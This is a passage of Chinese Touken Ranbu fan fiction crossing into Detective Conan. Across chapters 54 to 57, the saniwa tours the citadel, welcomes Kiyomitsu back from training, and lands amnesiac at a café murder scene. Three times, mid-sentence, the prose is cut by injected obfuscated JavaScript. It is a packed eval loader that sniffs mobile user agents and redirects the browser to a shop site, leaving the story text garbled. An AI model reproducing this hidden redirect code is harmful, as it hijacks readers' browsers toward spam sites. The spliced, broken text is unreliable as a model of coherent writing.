“哇!”梁柱上突然倒吊下来一只雪白的鹤,柔软的发丝随着他的动作轻轻扫在鸢尾的脸上,带来一点痒痒的感觉。 鸢尾终于回了神,失笑着捧住他的脸,“这是今日份的惊喜吗?” “唔。”鹤的脸像又软又白的糯米团子,鸢尾忍不住多捏了几下。 “等一下,”他将手里的东西从背后拿出来,口齿不清地说道,“这个才是惊喜啦!” 啊……真的会有这样的东西吗? 看清楚他展示的东西,鸢尾和一旁的一文字则宗都不由得沉默了一下。 明明是白白胖胖的萝卜,却刚好长出了四条根,就像它无端长出的腿一样——这是什么?萝卜狗吗? “哈哈,怎么样,是一个不错的惊喜吧!” 鹤丸旋身从屋梁上下来,晃了晃手里的萝卜狗,自言自语道,“画上眼睛和嘴巴会不会更像呢……这样就可以当成艺术品摆在你房间了吧。” 顺着他的话想象了一下——一只有鼻子有眼、还有腿的萝卜? “扑哧,”鸢尾不禁笑出了声,“如果是萝卜狗玩偶倒是还好,可是真的萝卜君可能会更想让我们吃掉它吧……” 鹤丸盯着她勾起的嘴角,也跟着笑起来,“嘛,也是,那我还是把它交给小光、让萝卜君物尽其用吧。” 他又转口提到另一个话题,“你要去巡视本丸?等我一下,我也要一起去。” “好啊,你今天也刚好是负责畑当番吧。” 鹤丸点点头,从厨房外面的窗户把萝卜狗送了进去,好好欣赏了一下烛台切惊讶的眼神,又爽朗地笑着跑回来。 “走吧走吧!” 加了一个话痨进来,三个人之间的气氛也不想刚才那样静谧。鹤丸从他今天早上挖到萝卜狗讲到前几次远征遇到什么趣事,从五虎退不小心把乱藤四郎的蝴蝶结绑到自己的小老虎身上讲到三日月逃番却被压切长谷部抓了回去…… “哈哈哈,农活还真是困难啊,上了年纪都不太清楚这些农具要怎么使用呢。” 刚好说到三日月,那月就出现在眼前了。他将锄头锄进地里,现在正靠在杆子上休息。虽然说着“不会使用”之类的话,却还是悠闲自得地朝他们打招呼,颇有老人家的余裕。 本丸的田地面积还是很可观的,所以一般会安排三到四个人负责畑当番。除了两把太刀,今天还有博多和毛利两把短刀一起帮忙。 “主公大人!” 他们刚刚在不远处的菜田里摘菜,远远地看到鸢尾的身影,连手套还来不及脱下来就跑了过来。 “主公大人看到那个了吗!”博多笑起来眼睛弯弯的,像一只小招财猫,“是不是很有趣?” “鹤丸先生和小孩子一起挖出来的时候我都被吓了一跳呢。” 看着他们充满活力的样子,鸢尾的心情也轻松了许多。或许活泼可爱的小孩子们天生就有这样的魔力,能够让看到他们笑容的人也跟着一起笑起来。 鸢尾蹲下来摸了摸他们的头,帮他们把刚刚摘菜的时候不小心弄到身上的土拍掉,“是啊,我看到了,确实很特别呢。能在这么多的萝卜里面找到这么特殊的一个,真的很棒啊。” “嘿嘿……”听到鸢尾的夸奖,博多觉得自己更有动力干活了。 毛利看到小孩子充满干劲的样子,顿时又露出了星星眼,“啊,充满活力的小孩子最棒!” 在喜欢小孩子这点上,毛利与她确实是一模一样呢,一文字则宗又掏出他的扇子,一边摇着一边想到。 虽然仅在这里待了没几天,但他已经敏感地察觉到本丸的生物链。虽然在正事上鸢尾对他们不会有太大的偏私,但是在相处上小孩子体型的付丧神还是会更有优势一点——起码小孩子可以直接把自己团进她怀里,而旁边的两个小子只能在一旁看着。 “……累了就稍微休息一会儿,对面的房间里有水,你们一会儿记得去喝。”鸢尾将为他们擦脸的手帕叠好收起来,一边嘱咐他们。看着两个小孩子都乖乖听进去了,眼睛亮亮地点头,她又把目光移到旁边两个大人身上,“你们也是……不过不能偷懒哦。” “哈哈哈……”某个老爷爷浑然不觉地笑着。 鸢尾看他头上绑着的头巾因为刚刚的动作有点散了下来,上前伸出手要帮他系好。三日月也顺势弯下腰来,隐含着新月的眼睛望进她蜂蜜般的眼底。 “这个刀纹……是你自己画的吗?”鸢尾记得第一次看见三日月猫猫的时候,他的头上也系着一条小头巾,不过当时上面好像还没有他的刀纹。 三日月直起腰的动作顿了一下,不过除了他自己没人发现,“哈哈,确实是如此。” “太阳也变大了啊……”一文字则宗突然自言自语地喃喃了一声,将折扇打开遮在刺眼的阳光照向鸢尾的方向。 “那我们也得到下一个地方去了,”鸢尾朝他们摆摆手,“你们加油啊。” “主公大人这么快就要走了吗……” 鸢尾揉揉两个小孩子的头,“待会回天守阁的时候还会往这来的,你们好好工作,下午我们一起午休,好不好?” 看着他们重新亮起来的眼睛,鸢尾莞尔一笑。她带着一文字则宗往前面走去,还不忘提醒一旁握着铲子不知道在想些什么的鹤丸,“鹤也是,惊喜我很喜欢,不过要是掉进你挖的坑里,就是另一个故事了哦?” “啊……不会让这种事发生的啦!”鹤丸被说中心事,乖乖把铲子放了下来,指尖绕着自己雪白的一缕头发,看起来就像鹤的羽毛一样柔软。 看起来好好挼。鸢尾分心了一下,但是挼了他,小孩子们也会想要被摸头,还有一旁的三日月和一文字则宗……摸他们的头总感觉怪怪的,不摸的话又好像孤立了他们。算了,她摇摇头收回自己的心思,还是等之后没人的时候再摸吧。 她朝他们颔首,就往马厩的方向过去,因此也错过了身后的鹤莫名有点遗憾的眼神。 …… 今天负责马当番的是鲶尾和骨喰。 是熟悉的搭配呢。鸢尾还记得之前抓到他们逃番的情景,不过也只有那一次,后来两个人倒是都非常可靠地完成了工作。 “马、粪、要、往、讨厌的人身上扔~”* 马当番还能有这样的活力,真不愧是年轻人啊。一文字则宗发出来自“老年人”的感慨。 “哦,是主公啊!”鲶尾刚好从里面探出头,一眼就看见了鸢尾,颇有些自豪地朝她扬扬手,“哼哼,今天我可是有好好完成工作哦——啊,兄弟也是!”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14182733|143510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他把头缩回去,不知道对骨喰说了些什么,两个人又像突然长出来的蘑菇一样从马厩里面探了出来。 被鸢尾用含着笑意的目光盯着,骨喰抿了抿唇,将自己的目光移到地上,“……马的眼睛,很漂亮。” 看着他们的表现,一文字则宗挑了挑眉梢。 “是是,辛苦你们了,很棒呢。” 鸢尾又掏出两条手帕,想要上前去帮他们擦一下汗。不过两人见她靠近连忙后退几步,“等、等一下,我们身上现在有点味道,主公还是不要靠太近吧……” 鸢尾本来觉得没什么,不过看两个人实在不好意思,还是没有强硬地靠过去,只能把自己的手帕递给他们,“好吧,那你们自己擦一擦吧。” 这到底是带了多少条手帕啊。一文字则宗又无意识地摇摇自己的折扇。 “走吧,下一站了。”鸢尾见他没反应,疑惑地停下来,晃了晃他的袖子,“在想什么?” “在想主公您究竟带了多少条手帕。”一文字则宗翠绿色的眼睛划过她的口袋,明明很平整,却能装得进那么多条手帕吗? “因为前几次来看的时候发现大家好像都没有带纸巾或是手帕的习惯,有时候工作结束想要擦脸擦手也不方便,我就干脆多带了几条。” 鸢尾在口袋里找了一下,又翻出一条一模一样的,递到一文字则宗面前,“你要吗?” 一文字则宗沉默了一下,用一种奇怪的眼神看着鸢尾,把她看的有点摸不着头脑。“嗯……你不要的话我就” “主人。” 说到一半,她的话被一道熟悉的声音打断了。鸢尾的动作僵住了,瞳孔猛地一缩。她完全忘了刚刚自己打算说什么,而是凭借本能转过身,望向声音的来源。 “清光……?” “嗯,是我哦。我不在的这段时间里面,主人有没有……”想我呢?清光的话还没完全说出口,就已经得到了答案—— 他接住了鸢尾。 熟悉的香味与他的气息交融,还是像以前一样的感觉,仿佛他从未离开。 “欢迎回家,清光。” 一滴温热的液体掉进他的衣领里,轻轻擦过他的皮肤,留下一点凉凉的、微不可察的湿意。 真是的,这样自己就要忍不住了啊,刚修行回来就在她面前哭什么的,超级逊的好不好…… 虽然这样想着,他的眼眶还是带着忍不住的淡淡粉红。 “是,我回来了。”他向后退开一小步,接过她手里拿着的手帕,帮她轻轻拭去眼角的一点泪痕,眼睛紧紧地注视着已经好久没见面的主人,“属于你的清光——今后也要一直爱我哦。” “这是当然的吧。” “嘛——那我就先把她带走了。”清光越过鸢尾朝后面的一文字则宗打了个招呼,“接下来的事情就要麻烦今天的近侍先生了。” 说完,也不管他是什么反应,圈住鸢尾的手腕,把她往自己的部屋方向带过去,“安定那家伙好像不在……” “今天刚好是他负责远征带队,”鸢尾转头,带了一点点愧疚、但更多是开心的目光落在后面的一文字则宗身上,“则宗先生,麻烦你了……我等会就回来!” “主人……都不听我说话……” “啊,对不起……我会认真听的。” 呵。 折扇带过来的风将一文字则宗金黄的发丝扬起。 所以呢?工作也丢给他这个老头子,然后连一张手帕也拿不到? 臭小子。他扯了扯嘴角。 55.指甲油与小甜汤 鸢尾屏住呼吸,一只手握住指甲油刷,另一只手搭在清光的指尖,在他的指甲上轻轻填补完最后一抹樱桃红。 呼。 “好啦!”她捧起他的手,对着阳光左右照了照,看到刚涂上的颜色照出光滑的痕迹,这才满意地点头,“这次是不是比上次好多了?” “嗯嗯,很棒呢。”清光看着她的动作,嘴角不自觉地微微上扬,“不愧是主人。” 说着,反手捧起她的手,仔细地端详,“嗯……要不我也帮主人涂一下吧?” “诶——我吗?” 鸢尾的手型很好看,指甲的形状也是,练弓留下来的几处薄茧让这样的一双手更添上了几分特别的感觉。不过她平时对自己的打扮确实不太上心,穿的衣服一般也都是本丸的烛台切、歌仙或是清光他们几个审美比较好的付丧神安排的,至于涂指甲油——更是从来没有试过。 “试试看嘛,好不好?” 修行归来的清光好像更会撒娇了,轻握住鸢尾的指尖,眼睛从下往上向她看去,阳光从窗户里斜照下来,刚好落在他的眼角,照得他的眼睛流光溢彩的。他拉着鸢尾的手放在自己的脸侧,轻轻蹭了蹭,“我也想试试看给主人涂指甲油的感觉……好不好?” “好、好……”美色当头,鸢尾直接被狠狠地诱惑了,晕晕乎乎地点了头。 清光露出一个得逞的笑,不过这样的表情在他的脸上还是很可爱。他立马从抽屉里翻出一大堆五颜六色的指甲油,纠结着要选哪一个颜色。 啊——虽然最想给她涂的是和自己一样的颜色,不过这样她会不习惯吧……算了,还是一步一步来好了。 他翻出一罐裸粉色的指甲油,朝鸢尾晃了晃,“这个颜色怎么样?不会太明显,但是涂上去效果应该很不错哦!” “嗯。”鸢尾放心地把手塞进清光手里,“指甲油颜色我不太懂……听清光的就好。” 唉,总是一本正经地说出这样的话呢,这点倒是一点都没变。 不过修行回来的清光已经不是之前的清光了,他现在已经学会在这样无意识的话下还能忍住不脸红,获得了巨大的进步! 清光默默深呼吸,假装自己没听见她的话。 拆开指甲油的密封包装,用指甲油刷沾上一点色彩,将多余的指甲油在旁边蹭掉,然后再小心地覆盖在她的指甲上。尽管已经自己给自己涂过很多次指甲油了,也很有先见之明地在安定那家伙的指甲上试过好几次(虽然最后都被那家伙擦掉了,明明自己涂得很好!),但是现在清光握住她的手的时候,还是不由得有点紧张。 紧张归紧张,好在过程还是很顺利的。在落下最后一笔的时候,清光也像刚刚的鸢尾一样长呼了一口气。 “好漂亮!” 鸢尾仔细地端详着自己的指甲。虽然好像没有太大的颜色变化……不过感觉指甲透亮了很多呢。 “是吧,我的品味不错吧?”清光翘着嘴角,蹲在鸢尾身后蹭着她的颈窝。 “好痒……”毛茸茸的头发落下几缕在脖子上,鸢尾笑着将它们拢在自己的手上。 “你这家伙,不要一回来就赖在主人身边啊。” 障子门“唰拉”一声被拉开,安定抱臂看在门上看着屋内玩闹的两人。不过注意到他们两个的心情都还不错,他自己也松了口气。真是的……一个寄来了那么让人担心的信件,一个在本丸默默担心又还要装作一副若无其事的样子——从某种意义上来说,这两个人还真是与越来越像了。 “啊,你怎么知道主人又亲自给我涂了指甲油?”清光顺势躺在鸢尾的膝头,朝门口的安定扬了扬自己的手,在他越发危险的目光中,又拉上鸢尾的手继续展示,“你又怎么知道我也给主人涂了指甲油呢?” “你这家伙,修行回来一趟还真是更嚣张了啊,”安定一把拉住他的手,将他从鸢尾膝头拉起来,“主人也有自己的事情要做吧?你可不要一直占用她的时间啊——要去手合场比试一下吗,小猫咪?” “好啊,安定要是输了可不要偷偷哭哦。” “哼,清光才是,谁输谁赢还说不定吧。” 鸢尾就在一旁笑着看两个人又开始斗嘴,不过清光在下一秒就将话题转到她身上,“我先送主人回天守阁吧。” “我也要一起去。” 刚想让他们先去做自己的事情,她一个人回去就可以了。可是看着两人亮晶晶的眼睛,鸢尾将说出口的话换了个内容,“好啊,那我们一起吧。” 计划通。心有灵犀的两人交换了一个眼神,又争取到了与主人待在一起的时间了呢。 …… 好不容易让两个人乖乖去做他们的事情,注意手合的时候不要太激烈、要注意分寸……看着他们听话地点头离开,鸢尾才转身拉开房间的门。 啊……?为什么感觉哪里怪怪的? 房间里,一文字则宗坐在矮几后面,面前还摆着一摞快堆到他胸口的文件,正在有一搭没一搭地摇着自己的折扇。听见门被拉开的声音,他抬眸向门口望去,莹绿色的眼睛里飞快地划过一丝不明的神色。 “唉,原来审神者大人还记得有个老头子在等你啊。” 糟了,清光刚回来,和他玩的太开心了,完全忘记了这回事呢。 不过这样的事情还是万万不能让则宗先生知道的。在感情上虽然迟钝,但是莫名有着危险雷达的鸢尾抿了抿唇,小心地走了进去,坐在一文字则宗的对面。可是对上他的眼睛,鸢尾也一时不知道该如何解释。 总之……先道歉应该不会有错吧?她张了张嘴,刚准备进行一个诚挚地认错,不过一文字则宗的声音比她更先传来,“……没什么,主公还是先处理工作吧。” 诶?周围危险的氛围消失了?鸢尾小心翼翼地偷瞄了一眼,发现一文字则宗又恢复了以前那挂着一抹不经意的笑的样子,好像刚刚都只是她的错觉一样。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14199628|143510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 可是鸢尾知道,那并不是错觉。发生过就是发生过,确实是因为她忘记了与则宗先生的约定,玩得有点太久了……虽然不知道他为什么又要装作不在意的样子,但鸢尾还是觉得应该把事情说开。 “抱歉,”鸢尾认真地望进他的眼底,遵从内心地开口解释道,“确实是我忘记了时间……但是那并不是意味着我觉得则宗先生不够重要或是其他的什么……” 她试探性地握住一文字则宗搭在桌子上的手,“这是我一时的疏忽,但不管是则宗先生也好,还是本丸的其他所有付丧神也好,在我的心中都是一样重要的,我是同样地爱着你们所有人的——这一点请不要怀疑,好吗?” 话都让她说完了,自己还能说什么呢。 被她握住的指尖好像也染上了她的温度,从指尖的温润向上传递,越来越热,温度蹿到他的耳垂,好像要把他点燃了。于是他就只能装作不在意地侧过头,眼神在木质地板上寻找着可以安放的落点。 “说什么……这样煽情的话对那群小子们来说可能效果更好吧,对他们来说可能比打了鸡血还有用……” “可是这就是我现在想要对则宗先生说的话啊?”鸢尾歪歪头,不明白他为什么突然提到其他人。 这下一文字则宗真的是没话说了。他的喉结上下滚动了一下,从她手里抽回自己的手,一把把那堆文件推到她面前,挡住她锲而不舍地想寻找自己眼神的目光,“不重要的文件我刚刚已经处理过了,这些是你需要亲自看的。” “回来的时候遇到烛台切,他说你早上吃得太少了,待会儿还需要再吃一点——他炖了甜汤,我现在去拿。” 说完,一文字则宗匆匆拉开障子门跨了出去。 鸢尾看了看来不及关上的门,看了看那堆差点被推到的文件,又看了看一文字则宗忘在桌子上的折扇,露出了疑惑的表情。 是自己刚刚的话让他生气了吗?可是感觉起来好像也不是……话说,为什么最近大家都这么匆匆忙忙的啊? 鸢尾思考。鸢尾找不到答案。鸢尾遂放弃思考。 算了,不生气了就好。鸢尾将这些抛在脑后,沉浸在一大堆文件里。 一文字则宗走出天守阁,被外面的冷风一吹,脑子才逐渐清醒起来。 ……自己到底在想什么。 他神色复杂地朝厨房的方向走去。居然想他们几个毛头小子一样,被她的几句话就绕晕了? 不,自己只是一时没反应过来而已。对于一生在寻找着自己没有的东西的一文字则宗来说,这样的直球只是恰好是自己没有碰到过的类型,下一次遇到,他相信自己肯定能够完美地应对。 对,要把握好自己的节奏,他下一次就不会再被她的花言巧语迷惑了。 一文字则宗端着甜汤,在心里肯定了自己,表情严肃得好像下定了某种决心。 身后的烛台切:这么严肃的表情……他真的没事吗? 56.裂缝与罪名 不过一文字则宗到底有没有找回自己的节奏还是没能得到验证,因为等他端着甜汤回到天守阁的时候,去政府开完会的狐之助已经懒洋洋地躺回鸢尾怀里了。 鸢尾一只手握着笔批着文件,另一只手也没闲着,轻轻抚着狐之助被养得越发滑顺的皮毛,而狐之助也颇为享受,闲适地摇着它毛茸茸的尾巴。 不用独自和鸢尾待在一起,一文字则宗竟然微微在心里松了口气,不过他也没意识到就是了。将甜汤轻放到桌子上,他若无其事地收起自己的折扇,坐回鸢尾身后留给近侍的位置。 狐之助的尾巴乱扫着,扫到了鸢尾挂在腰侧的“拟四魂之玉”玉佩,它轻轻撞在鸢尾坐着的椅子上,发出“玎玲”的一声。 一文字则宗微微蹙起眉,狐之助也意识自己扫到了什么东西,赶紧从鸢尾怀里跳出来,“啊啊啊,没事吧没事吧——” 鸢尾本来还沉浸在工作里,没意识到发生了什么,被狐之助一惊一乍的动作吓了一跳。见它和一文字则宗都盯着自己的玉佩,鸢尾将它捞了起来,随意地在空中晃了晃,“没关系,时之政府的工作人员说它很牢固的,不像真正的玉佩那么脆弱的。” “真、真的没坏吗?”狐之助知道“拟四魂之玉”对鸢尾的重要性,怕鸢尾只是为了安慰自己才这么说的。 “放心吧,他们说普通的外力挤压是不会对它造成损坏的。”鸢尾将狐之助捞回怀里,顺了顺它的毛,“听说他们连时空的挤压也测试过,正常情况下连穿越不同世界的威压都可以承受。” “那就好——吓死咱了!”想到刚刚听到那一声轻响时,自己连心脏都要跳出来的反应,狐之助的眼睛又变成了蛋花眼。 “……下次小心点。”一文字则宗在后面淡淡开口。 “呜……”狐之助又往鸢尾怀里钻了钻,“对不起,咱下次、不对,没有下次,咱以后都会注意的!” 鸢尾又趁机撸了一把它的大尾巴。 “对了,”狐之助想起今天时之政府开会的内容,从她怀里抬起头,“时之政府那边让咱问鸢尾大人准备什么时候前往下一个任务世界。” 提到这个,鸢尾也停下笔,认真地思索着。原本她是想在接到任务的下一天就动身的,可是一方面清光向她提出了修行的请求,她不太放心;另一方面这个任务虽然重要,但是距离两个世界靠近都还有一段时间,更不用说世界融合,所以她就先把这个任务搁置了。 现在清光也回来了,是时候把它提上日程了。 “就明天吧。”鸢尾应道,“我今天再重新看一遍任务资料,决定好要跟随的付丧神,明天就可以启程了。” 她的主要任务是负责调查,后面需要怎么做主要还是靠时之政府来确定。早点调查完也能早点安心。 “好,那我把您确定好的时间报上去了。” 狐之助拨弄了一下胸前的铃铛,将安排好的时间发给对接人员。时之政府那边也很快给了回复,并提醒鸢尾注意安全。做完这些,狐之助又自在地躺了回去。 身后的一文字则宗看着它摇来摇去的尾巴,实在忍不住了,将它从鸢尾怀里提溜出来,“明明年纪这么小,却比我这个老头子还要懒呢,看来狐之助还是需要多多运动,才能找回你们这个年纪的朝气啊。” “正好现在手合场里很热闹,就让狐之助陪我这个老头子去看看吧。”他朝鸢尾颔首,笑着将狐之助塞进自己的怀里,往外面走去。 “唔,唔唔唔唔!”(鸢尾大人,救救咱啊!)狐之助在他怀里胡乱扑腾着,却被无情地镇压了,从后面望过去完全看不见它的动作。可惜鸢尾也没能听懂它模糊的声音,甚至还在后面招了招手,“你们小心不要被伤到了啊。” 不,已经被伤到了。 狐之助默默在心里留下两行眼泪。 —— 一天的时间并没有很长,一眨眼的工夫就过去了。 “队长:加州清光,队员:今剑,不动行光,堀川国广,鹤丸国永,萤丸。以上。” 一文字则宗读完鸢尾的出阵安排,看了一眼神色各异的几位,留下一句“带好刀装和御守,半小时后时空转换装置前集合”就离开了——鸢尾今天的早餐还没有吃完,他得赶紧去监督。 “好诶——终于可以跟着主公大人一起出阵啦!” 今剑开心地跳了起来,被岩融一把接住放在肩头,“嗝哈哈哈,真是个难得的机会啊,那可要好好准备了!” “是!我要去准备刀装了——” “嗯?怎么这么看着我,”髭切在膝丸紧张中带了一点小失落的眼神里摆了摆手,随意地说到,“放心,我不会因为没有被选上就砍了自己人的哦?” “哈哈哈,毕竟你们上次就已经跟主人一起去过异世界了吧?这次刚好给其他人一点机会嘛!”这是在出阵名单里的鹤丸,在他们旁边笑得一脸灿烂。 “哦,萤丸,你被选上了诶!”爱染拍拍萤丸的肩膀,开心地说道,“这次我们终于能帮主公大人做一点事情了。” 萤丸点了点头,国行靠在旁边的树上,有气无力地揉了揉两个小孩子的头。 “我……这次居然没被选上吗……” 长谷部失落了一瞬,但很快振作起来。主人这么做自有她的原因!就算不能陪着主人,他长谷部也一定要在主人出门的时候管理好本丸!况且自己不在她身边,一定要让他们几个跟随作战的人照顾好主人的身体。最近主人已经瘦了三斤了,再瘦下去对身体的损伤就太大了…… 看着突然又充满斗志,仿佛身后燃烧着熊熊火焰的长谷部朝自己走来,清光和不动对视一眼,不由地后退了一步。 不是吧……长谷部的碎碎念,真的要来吗…… —— 付丧神们那边如何热闹,鸢尾倒是不得知。至少半个小时过后,他们在时空转换装置前集合时,大家都是一副整装待发的样子。 根据时之政府提供的资料,他们这次要去的世界是一个现代都市。嗯……不过听说命案发生率很高就是了,所以还是有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14199629|143510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一定危险性的。他们这次的行动要尽可能地不惊动原世界的人,所以时之政府已经提前为他们准备好了身份证明,等他们到了那里,就可以十分丝滑地融入原来的世界观。 鸢尾将自己自制的符咒递给他们,“这是隐形符,如果遇到一些潜入任务或是需要出门调查的情况,大家可以贴到自己身上还有刀上。” 毕竟在现代社会,出门看到五颜六色的头发和眼睛倒是好解释,但是看到他们一群人的身上都带着一把刀……可能不免还是会引起一些不必要的关注。 在几人乖乖接过符咒收好之后,鸢尾抱着狐之助在时空转换装置上输入自己的灵力。比之前都要耀眼的金光逸散而出,轻柔地将一群人包围。 “祝君武运昌隆。” 留下来的付丧神们默默注视着,即使眼睛被刺痛也不愿移开目光。他们一如既往地祈愿着,默念着他们已经重复数十遍的祝愿。 与此同时,处在时空转换中的付丧神和狐之助也没有意识到,挂在鸢尾腰间的“拟四魂之玉”悄悄裂开几条小小的缝隙,鸢尾储存在其中的灵力与传送阵的时空气息纠缠,在他们即将抵达目的地之时,猛烈地爆发出威压。 “主人/主公大人!” 他们愕然地朝鸢尾望去,狐之助在威压下被弹开,靠近鸢尾的清光和不动想要抓住她,却被失控的灵力抽离。 “不,不要!” 清光的指尖奋力朝前面够去,手背上的青筋暴起,但在最后一秒,原本鸢尾的位置却只剩一捧流沙。 不要……!! —— 好晕。 这是她的第一个感受。 好像被装进洗衣机里滚了几圈才挖出来,她凭着本能跌跌撞撞地直起身往前走,却不知道被谁撞了一下。 肩膀被撞到的地方泛着强烈的疼痛,她呼出一口气,迷茫地睁开眼睛,却只看见一个穿着黑色风衣、辨别不出的身影。 是谁……? 她没有力气追上去。胃里还在翻滚着,她不适地皱紧了眉,靠在墙边缓缓坐下。头晕目眩地缓了一会儿,她才有力气想要揉一揉自己刚刚被撞得生疼的地方,但伸出手,她才发现自己手里握着一些淡紫色的碎片。 这是什么?她眯着眼睛仔细地观察了一下,碎片的材质摸上去好像是玉,散发着温润熟悉的感觉,可能是刚刚握得太紧了,有些碎片还扎进了她的手心。 好奇怪。她试图回忆这是怎么出现在自己手里的,但却没有任何的印象——甚至更糟糕,她发现自己回忆不起来睁开眼之前的任何事。 她翻找着自己衣服的口袋,想尝试找出一些有关的线索。但除了口袋里出现的一把陌生的、沾着血的刀以外一无所获。 这好像不是自己的……?她握着刀看了看,却不像刚刚的碎片一样有什么特殊的熟悉感觉。 “啊——凶、凶手在这里!!” 直到不远处传来的一声尖叫打断了她的思绪。 凶手……我吗?她陷入了疑惑。 57.线索与身份 在那声尖叫声传来之后,又陆陆续续传来了纷杂的脚步声,不过片刻,一群人就把她团团围住了。 发出尖叫的是一位短头发的女性,她紧紧拉着旁边一位身形高大的男人的手,害怕地望着握着还在滴着血的刀的她。后面还跟着一位粉色长发的女性,神色复杂地盯着她,除此之外,就是一些穿着统一服装的人,看起来应该是一家店的员工。 “借过借过。” 从他们身后绕上来两个人,其中一个留着黑色半长发,长着一双紫罗兰色的柳叶眼;另一个则是一头微卷的蓬松短发,还在衣领上别着一副墨镜。 看起来应该很擅长打斗。 不知道为什么,她脑海中突然浮现了这样的直觉。可是……为什么会这么觉得呢?她自己也不清楚。 那两个人上前围住她,堵住她可以离开的方向。那个留着黑色半长发的男性对她安抚地笑了笑,“这位女士……不用紧张,能站得起来吗?我们只是有点问题想问你一下。” 说着,他往前走了一小步,伸出手给她借力,想帮她站起来。 她的目光落在他的手上。手上又茧,而且茧分布的位置看起来很眼熟……她将刚刚握在手心的碎片收进了自己的口袋里,把那只没有受伤的手放在他的手上,借力站了起来。 “要不我们先到里面去吧……小阵平也来帮忙一下吧?” 那个黑色半长发的男生看她还有点踉跄,这样向大家提议,同时给同行的另一个男生使了个眼色。那个别着墨镜的男生不知道从哪里掏出了一张手帕,隔着帕子将她手上沾血的短刀接了过去。 站起来之后,她这才发现原来这里是一条一边封死的巷子,离她刚刚靠着的地方不远的后面是一道暗门。 “这道门也是可以通往咖啡厅的吗?”那两个人也发现了这扇门,向身着统一制服的员工问道。 “是、是的。”其中一个男性站了出来,向他们解释道,“这扇门是店面本来就有的,不过因为门锁坏了还没来得及修理,所以只能从里面打开。” “这样啊……”,那两个人对视了一眼,“总之,我们还是先进去里面看看到底发生了什么吧。” “你还需要扶着吗?”那个半长发又转过头来问她,把手放在她面前,没有贸然地碰她。 她摇了摇头。缓了一会儿,她现在已经好多了,胃里也不想刚刚那样在翻滚着。“谢谢你。” 那个男生观察了一下她的神色,发现她现在的脸色看起来确实好了一点儿,也就没有勉强。一行人走出这条巷子,旁边就是他们刚才说到的咖啡厅。而她也终于知道刚刚的那一声“凶手”是什么意思了——在即将出巷子的出口,躺着一具穿着黑色风衣的男性尸体。他仰躺在地上,头发凌乱的盖在脸上,看不清面容,只能看到血液从他大概腹部的位置不断流出来。 卷头发的男生走在最前面,向他们叮嘱了不能破坏现场,因此所有人路过的时候都是小心翼翼的,连眼神都不敢多在那具尸体上看一眼。只有她因为那具尸体身上穿着的衣服多看了几眼。 “我叫萩原研二,旁边的这位是松田阵平,我们都是警察。”在他们回到咖啡厅之后,半长发男性向她介绍了他们的身份,也说明了刚刚的情况。 那具尸体——也就是死者,名叫织隆士,一个小时前和他的同伴一起来到这个咖啡厅。他的同伴也是刚刚她见过的,一个是那个短头发的女生,名叫岛中圣美,一个是岛中圣美的男友寺根真明,还有一个就是那个眼神复杂地望着她的粉色长发女生,名叫志手理子。 “我们四个从大学就认识了,毕业之后联系也一直没断。最近听理子说她和织隆士准备订婚了,我们想着再聚一下。因为这里是我们大学经常一起来的咖啡厅,所以我们就把见面地点定在了这里。 聊了一会儿天,我就去了一趟卫生间……回来之后,发现大家都不在位置上,而是围在咖啡厅外面,我不知道发生了什么,也急急忙忙跟着出去——就看见了他的尸体,还有不远处握着刀的她。”岛中圣美拉着男友寺根真明的手,担忧地瞟了旁边一言不发的她一眼,心有余悸地说道,“完全不知道发生了什么……我只是离开了一会儿……” 寺根真明抚着岛中圣美的肩头安慰着她,等她冷静下来一点,才继续向他们解释,“事情大概就是圣美说的那样。她离开之后,织隆士也说要去卫生间。我和理子在这里等了一会儿,通过咖啡厅的窗户玻璃看见织隆士在外面,正往旁边的小巷走去。我们不知道他突然去那边干什么,就留在原地等了一会儿,但是迟迟不见他回来。理子说要去找他,我也跟了上去,结果……” 志手理子一直敛眸沉默着,听完他们的讲述,跟着点了点头。 “那么你呢?你是谁,又为什么握着刀出现在那条巷子里?”松田阵平凌厉的目光落在她的身上。 “……我也不清楚,等我有意识的时候,就已经在那里了。”顶着松田阵平怀疑的目光,她坦然地回复,“那把刀也不是我的。我刚醒来的时候,被一个穿着黑色风衣的人撞了一下,之后那把刀就出现在我身上了。” 所以,她的意思是,她莫名其妙地出现在了疑似凶杀案现场,莫名其妙地被一个疑似死者的人撞了一下,之后身上就莫名其妙地出现了一个疑似的凶器? 这也太凑巧了吧……松田阵平和萩原研二交换了个眼神,而且,对于“她是谁”这个问题,完全没有解答呢。不过,现在没有实质性的证据,确实还不能说明什么。 “现场的店员就只有几人,都各自在自己的岗位上,可以相互监督。所以嫌疑人暂时还是锁定在你们几个当中,在找到真正的凶手之前,恐怕你们还得在这里多待一会儿了。” 